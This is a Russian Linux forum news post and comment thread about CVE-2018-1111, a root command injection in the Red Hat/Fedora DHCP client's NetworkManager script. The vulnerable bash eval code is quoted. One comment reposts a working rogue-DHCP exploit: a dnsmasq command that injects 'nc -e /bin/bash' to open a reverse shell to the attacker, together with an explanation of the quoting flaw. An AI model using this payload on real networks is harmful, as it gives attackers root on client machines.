LINUX.ORG.RU

В Red Hat и Fedora выявлена удалённая root-уязвимость в DHCP-клиенте

 ,


3

4

Феликсом Вильгельмом, из команды «Google Security», в скрипте интеграции с NetworkManager, входящем в состав пакета dhcp-client, предлагаемого в Red Hat Enterprise Linux и Fedora, была выявлена критическая уязвимость (CVE-2018-1111), которая позволяет удалённо выполнить код с правами root.

Вот сам код

 eval "$(
   declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
       optname=${opt%%=*}
       optname=${optname,,}
       optname=new_${optname#dhcp4_}
       optvalue=${opt#*=}
       echo "export $optname=$optvalue"
   done
   )"

Как это работает?

Протокол DHCP используется для настройки сетевой информации в хостах с центрального сервера. Когда хост подключен к сети, он может выдавать запросы DHCP для получения параметров сетевой конфигурации, таких как IP-адрес, IP-адрес маршрутизатора по умолчанию, DNS-серверы и т.д.

DHCP-клиент, предоставляемый Red Hat, имеет скрипт /etc/NetworkManager/dispatcher.d/11-dhclient (в Red Hat Enterprise Linux 7) или /etc/NetworkManager/dispatcher.d/10-dhclient (в Red Hat Enterprise Linux 6) для компонента NetworkManager, который выполняется каждый раз, когда NetworkManager получает ответ DHCP с сервера DHCP. Злоумышленный ответ DHCP может заставить скрипт выполнять произвольные команды оболочки с привилегиями root.

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Ответ на: комментарий от saahriktu

При чём тут модель OSI?

При том, что «подключились к Wi-Fi» - присоединились к WLAN. Дальше для получения адреса отправляется запрос, ответить на который может любой член подсети.

anonymous ()
Ответ на: комментарий от anonymous

Вы отвечаете на:

Разве для этого у него не должен быть идентичный SSID? А пароль? Если юзер поставил себе нормальный пароль наподобие «\lcSt|Eh1t-„FM32%[O1]{ng\“ и коннектится конкретно с ним и конкретным SSID, то разве такое соединение сразу не засыпется если вместо его роутера ответит чужой с таким же SSID, но другим паролем?

Я таки за ответ от вас

При чём тут модель OSI?

anc ★★★★★ ()
Ответ на: комментарий от PtiCa

проблема в баше - он слишком примитивен для таких вещей

Отнюдь. Проблема баша в том, что он слишком сложен и неокрепшие умы регулярно отстреливают себе ноги при помощи read, всевозможных кавычек и прочего. А eval - это вообще бомба, код с евалом на любом языке смердит за версту.

legolegs ★★★★★ ()
Ответ на: комментарий от anonymous

так так то беда в нетворк манажоре, а не в баше.

Нет, беда не в NM, а именно в скрипте из пакета dhcp. In a nutshell:

[d_a@home tmp]$ KOKOKO="kukarek\"\";date" sh -c 'eval "echo $KOKOKO"'
kukarek
Ср май 16 20:16:26 MSK 2018

d_a ★★★★★ ()
Ответ на: комментарий от Harald

да и с публичной вайфай сетью, зловредный DHCP может ответить быстрее, чем оригинальный, и клиента поимеют

В публичных сетях принято изолировать пользователей.

KillTheCat ★★★★ ()
Ответ на: комментарий от legolegs

он слишком сложен

Ты называешь это сложностью, я называю это примитивностью, в том же смысле, как сложно и примитивно обработать гектар поля лопатой. По-этому, согласен

PtiCa ★★★★★ ()
Ответ на: комментарий от anonymous

Дальше для получения адреса отправляется запрос, ответить на который может любой член подсети.

Ну так просто ответить здесь же мало. dhcp-client же активизируется на следующем этапе после авторизации. А если эта самая авторизация обломится потому, что на подставном роутере другой пароль, не такой как у юзера (в то время как у него он наподобие «\lcSt|Eh1t-„FM32%[O1]{ng\», т.е. просто так поставить такой пароль злоумышленник не может), то до dhcp-client'а дело же и не дойдёт. Он не будет отправлять запросы на подставной роутер и, соответственно, ждать ответов от него тоже не будет.

saahriktu ★★★★★ ()
Ответ на: комментарий от gasinvein

SELinux не спасает разве? Вроде скрипты из /etc/NetworkManager/dispatcher.d запускает nm-dispatcher, который работает в контексте NetworkManager'а.

Nope, скрипты диспетчера запускаются в initrc_t, легко проверить. Это unconfined domain. Нагнули так нагнули ^_~

d_a ★★★★★ ()
Последнее исправление: d_a (всего исправлений: 2)
Ответ на: комментарий от mumpster

недавно

*facepalm* это же грабли уже лет 10, с первых версий journald.

Честно, сам переживал за это. Вообще должно быть sane defaults, а дистрах логи не пишут по дефолту (после ребуте) - ну что за ппц. Фактически, s-d предлагает хранить логи, или не хранить. Почему-то дистрибутивы решили выбрать «не хранить». Скорее всего, они положились на дефолт, который в s-d был.

PtiCa ★★★★★ ()
Ответ на: комментарий от alpha

в rhel7. Логи journal не сохраняются, пока не создашь каталог /var/log/journal

Я считаю это неправильный дефолт. Он совсем неинтуитивный. И вкупе с другими выпячивает сложность systemd, хотя должно быть наоборот. Ту же обработку nofail и auto в fstab могли бы более по-человечески организовать. Да куча нюансов. Вплоть до долгого автодополнения в cli после ввода systemctl status <tab>

UX ужасен

PtiCa ★★★★★ ()
Последнее исправление: PtiCa (всего исправлений: 1)
Ответ на: комментарий от gasinvein

Серьёзно:

LABEL                             PID TTY          TIME CMD
system_u:system_r:initrc_t:s0    3052 ?        00:00:00 11-dhclient

Хотя на /usr/libexec/nm-dispatch вроде метка правильная стоит, так что может быть ещё и баг в политике.

d_a ★★★★★ ()
Ответ на: комментарий от PtiCa

в rhel7. Логи journal не сохраняются, пока не создашь каталог /var/log/journal

Потому что в RHEL7 по дефолту ставится rsyslog который читает структурированные данные из journal и занимается их хранением и/или пересылкой дальше куда скажут.

alpha ★★★★★ ()
Ответ на: комментарий от saahriktu

вот если ты ещё добавишь аутентификацию по MAC адресам и ограничишь приём DHCP ответов файерволом только с одного адреса, тогда да, будет секурно

Harald ★★★★★ ()

Настоящий эксплоит в твитторе

Для Ъ:

dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1h --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
(заставляет клиентов запускать шелл на 1337 порту. //К.О.)

Я не сразу допёр как это относится к коду из оп-поста (где eval). Но суть в том, что в скрипте dhcp-client все эти опции кладутся в переменные окружения, примерно так

DHCP4_DERP=herp\'\&date\ \#
Команда declare их при выводе опять же эскейпит, а вот команда read без ключа -r это экранирование разбирает (но не раскавычивает), в результате eval'у на вход подаётся не безопасное
export new_derp='herp'\''&date #'
а коварное
export new_derp='herp'''&date #'
в результате лишняя кавычка выпускает амперсанд на свободу, решётка зокомментировывает дисбалансную кавычку, а произвольный код выполняется

legolegs ★★★★★ ()
Последнее исправление: legolegs (всего исправлений: 1)
Ответ на: комментарий от saahriktu

Ну это естественно. Речь же идёт об эксплуатации из той же сети. Разумеется, просто проходя по улице, сифилис не подхватишьтебя не взломают. Но из той же сети, например публичной или даже рабочей, - легко. Да и в случае взлома ключа от собственной (регулярно находят уязвимости, ну и перебор отметать не стоит) тоже весело будет. В любом случае удалённое получение root - ппц.

anonymous ()

ага. bash виноват. а если кого писанули - виновный ножик. кто автор этого скрипта - вот что интересно? он и лажанулся. а то - bash, bash. в bash-е уже хрен знает сколько есть форма ${variable@Q}, которая спокойно отсекает подобные баловства

ananas ★★★★★ ()
Ответ на: комментарий от alpha

на самом деле не все так хорошо - достаточно регулярно в апдейтах что-то ломают и получаем ситуацию, что внезапно rsyslog перестал собирать логи.

У нас есть несколько серверов, на которых rsyslog полностью перестал писать secure лог, и если ничего не менять, то посмотреть получится только через journalctl -u sshd. Совсем недавно тоже что-то ломалось и в secure попадали только информация о завершении сессии. Само подключение, равно как и неуспешные попытки не сохранялись.

И вот такие косяки регулярно вылезают, что заставляет не очень любить systemd, хотя, справедливости ради, он иногда напрямую и не виноват.

user_undefined ()
Ответ на: комментарий от MrClon

И всё-таки баш превосходит их по удобству копрокодинга и стрельбы в ногу

А С вообще «выстрел из базуки» - так что ли считать? Однако напомню, что ведро на нем написано.

anc ★★★★★ ()
Ответ на: комментарий от anc

А С вообще «выстрел из базуки» - так что ли считать? Однако напомню, что ведро на нем написано.

Напомнить, сколько дыр в ведре было? И сколько придумано разных методов sandboxing'а, чтобы сделать сишные ошибки менее разрушительными?

kirk_johnson ★★ ()